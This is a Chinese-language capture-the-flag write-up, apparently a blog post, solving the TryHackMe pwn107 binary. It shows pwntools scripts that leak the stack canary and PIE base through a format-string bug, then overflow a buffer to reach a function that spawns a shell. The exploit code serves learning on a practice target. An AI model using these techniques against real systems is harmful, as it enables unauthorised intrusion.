pwn107
checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
运行情况
初步推测,可能还是格式化字符串漏洞?
IDA分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32];// [rsp+0h] [rbp-40h] BYREF
char v6[24];// [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v7;// [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
...
printf("THM: What's your last streak? ");
read(0, buf,0x14uLL);
printf("Thanks, Happy hacking!!nYour current streak: ");
printf(buf);
puts("nn[Few days latter.... a notification pops up]n");
puts(aHiPwnerKeepHac);
read(0, v6,0x200uLL);
return __readfsqword(0x28u)^ v7;
}
buf有32字节,有个 read(0, buf, 0x14uLL); printf(buf);
读入只有20字节
v6 24字节,有个 read(0, v6, 0x200uLL);
,读取倒是远远超过24字节
另外get_streak函数,地址 94C
unsigned __int64 get_streak()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("This your last streak back, don't do this mistake again");
system("/bin/sh");
return __readfsqword(0x28u) ^ v1;
}
总共两次输入的机会,依靠第一次输入溢出是不可行了,因为已经限制字节数了
看看第二次输入,能否溢出一下
payload=b"A"*32+p64(0x94C)
import sys
from pwn import*
from struct import*
exe ='./pwn107'
context.binary = ELF(exe,checksec=False)
payload =b"A"*32+p64(0x94C)
p = process(exe)
p.sendline("123")
p.sendline(payload)
p.recvline()
p.interactive()
stack smashing
它有栈破坏检测
https://wiki.mrskye.cn/Pwn/stackoverflow/Canary/
canary 实现和设计思想都比较简单, 就是插入一个值, 在stack overflow发生的高危区域的栈空间尾部, 当函数返回之时检测canary的值是否经过了改变, 以此来判断stack/buffer overflow是否发生
canary绕过
通过输出函数、格式化字符串漏洞等
canary呢,在IDA中,就是指main函数的v7,在内存里就叫 rbp-0x8
,
https://razvioverflow.github.io/tryhackme/pwn101.html
通过这个视频可以了解到:
以往的溢出,是可以直接溢出:
AAAAAAAAAA
就完事了
但是现在半路杀出了个canary
那么我们只要知道这个canary的数据:
AAAAA+canary+AAAAA
,不更改canary原本的样子就行啦
(粗俗地理解为,比如 buf[32])
原来的结构是:32字节+保存寄存器的8字节(s-8字节)+返回地址的8字节(r-8字节)
现在就是:32字节+canary+s-8字节+r-8字节
思路
思路就是通过第一个printf函数得到canary位置
第二个printf函数进行溢出尝试
gdb调试
payload = b"%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX"
canary在pwndbg中直接用canary
就可以找到位置,也可以stack,但这个值是动态变化的
它和输入变量的地址距离是多少?这里的距离是指用 %lX,弹栈,要弹几次
看,从输入变量的起始地址出发,那就是弹到第7次
而且变量也是动态变化的
看,右侧两次的 $rbp-0x40 :头一次运行时,地址为9e0结尾
;后面的就是d50结尾了
所以先尝试找变量位置
动态变量地址:
直接运行原程序
THM: What's your last streak? AB.%lX.%lX.%lX.%lX
Thanks, Happy hacking!!
Your current streak: AB.7FFCE63C82A0.0.0.0
显示不全了,改一下
THM: What's your last streak? AB.%5$lX.%6$lX.%7$lX
Thanks, Happy hacking!!
Your current streak: AB.7F8FA5356F40.586C2435252E4241.252E586C2436252E
好,注意这个4241,那不就是输入的AB?
所以我们可以确定变量的位置在 %6$lX
canary地址:
上面已经确认了canary在变量基础上的第七次,所以就似乎%13$lx,可以验证一下
payload = b"AB.%6$lx.%13$lx"
可以,没问题
代码如何提取这个值呢,如图:
那么之后第二次发送不就是这样?
payload=b"A"*24+p64(canary)+b"A"*8+p64(get_streak)
import sys
from pwn import*
from struct import*
exe ='./pwn107'
payload =b"AB.%6$lx.%13$lx"
#p = gdb.debug(exe,"b main")
p=process(exe)
p.sendline(payload)
p.recvuntil("streak:")
buf=p.recvline()
print(buf)
buf1=buf.split(b"n")[0].split(b".")[2]
print(buf1)
canary=int(buf1,16)
print(canary)
p.recvline()
p.recvline()
payload2=b"A"*24+p64(canary)+b"A"*8+p64(0x94C)
p.sendline(payload2)
p.interactive()
哦豁,报错了,为什么?
动态函数地址:
得,函数的地址也在变化,那怎么获取动态函数地址?
https://ctf-wiki.org/pwn/linux/user-mode/summary/get-address/
https://cloud.tencent.com/developer/article/1515251
根据wp,它是找到静态库地址、动态库地址,这个差值就是动态函数基址
静态库地址,找的是 __libc_csu_init
,为什么?
动态库地址是:%9$lx
,这又是为什么?
感觉像是这样:
这个动态函数基址:
1.先找到一个函数A,得到它的静态地址x,2.再去找这个A的动态地址y;3.y-x就是动态基址?
验证一下,如何找A的动态地址呢?这里面用了 __libc_csu_init
的(为什么不直接找get_streak?)
静态的这样找:
https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/aslr-bypass-with-given-leak ,直接调用elf
至于动态的,wp用的不是pwndbg,我不懂它的操作,百思不得其解,这wp是怎么看出来,仅和输入变量差3次调栈?
直接运行wp的部分代码,修改了下是这样:
import sys
from pwn import*
from struct import*
exe ='./pwn107'
binary = context.binary = ELF(exe,checksec=False)
static_libc_address = binary.symbols.__libc_csu_init
print("static:{}".format(hex(static_libc_address)))
#payload = b"AAAAAAAAAAA"
payload=b"%9$lx.%13$lx"
p=process(exe)
#p = gdb.debug(exe,"b main")
p.sendline(payload)
p.recvline()
#p.recvuntil("miss")
p.sendline("3")
p.interactive()
好,它所谓的静态库地址,那就是程序运行前,也就是IDA看到的地址 , 0xa90
动态库地址那就是运行时,gdb所print的地址,0x5610..a90
那么我这里和wp中不一样,动态库地址,不在%9$lx
这里,0x5610..a90
它甚至在stack中都不出现。。。
6
我反复看了看wp的视频
先 b main
,进到了main函数中,再打两个断点
b *0x0000555555400a36
b *0x0000555555400a3b
按 c
继续,输入字符串ABCD,回车
它的stack能看见 __libc_csu_init的地址,我怎么看不见,嘶
直到我用了同样的工具,同样的命令。。。也不行
r2 -d -A pwn107
pdf @ main
[0x7ffb60f86b00]> db 0x563f80600a36
[0x7ffb60f86b00]> db 0x563f80600a3b
dc
pdf
pxr @ rsp
我思考了一秒钟,那可能是库的问题,那没办法啊
就这样吧,就假设我找到了
答案
https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/
#!/usr/bin/env python
import sys
from pwn import*
from struct import*
exe ='./pwn107'
binary = context.binary = ELF(exe,checksec=False)
static_libc_address = binary.symbols.__libc_csu_init
p = process()
p.recvuntil(b"streak?")
payload =b"%10$p.%13$p"
p.sendline(payload)
p.recvuntil(b"streak:")
output = p.recv().split(b"n")[0]
dynamic_libc_address =int(output.split(b".")[0].strip(),16)
canary =int(output.split(b".")[1].strip(),16)
dynamic_base_address = dynamic_libc_address-static_libc_address
binary.address = dynamic_base_address
dynamic_get_streak = binary.symbols.get_streak
rop = ROP(binary)
ret_gadget = rop.find_gadget(['ret'])[0]
payload =b""
payload +=b"x90"*0x18+ p64(canary)+b"x90"*8+ p64(ret_gadget)+ p64(dynamic_get_streak)
p.sendline(payload)
p.interactive()
对于后面这一部分,就是常见的ret那种,估计也是为了解决栈对齐?不知道+1的方法是否还可行了
总结
1.PIE启动呢就是地址随机化,需要确认动态基址
2.此题是通过格式化字符串漏洞泄露已知动态地址得到动态基址
3.elf的快捷查址调用
4.为什么不直接找get_streak的理由是因为,它在stack里没出现过,所以确认不了
参考
wp1:https://razvioverflow.github.io/tryhackme/pwn101.html
wp2:https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/
找地址:https://ctf-wiki.org/pwn/linux/user-mode/summary/get-address/
https://cloud.tencent.com/developer/article/1515251
原文始发于微信公众号(羽泪云小栈):THM_pwn107(思路)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论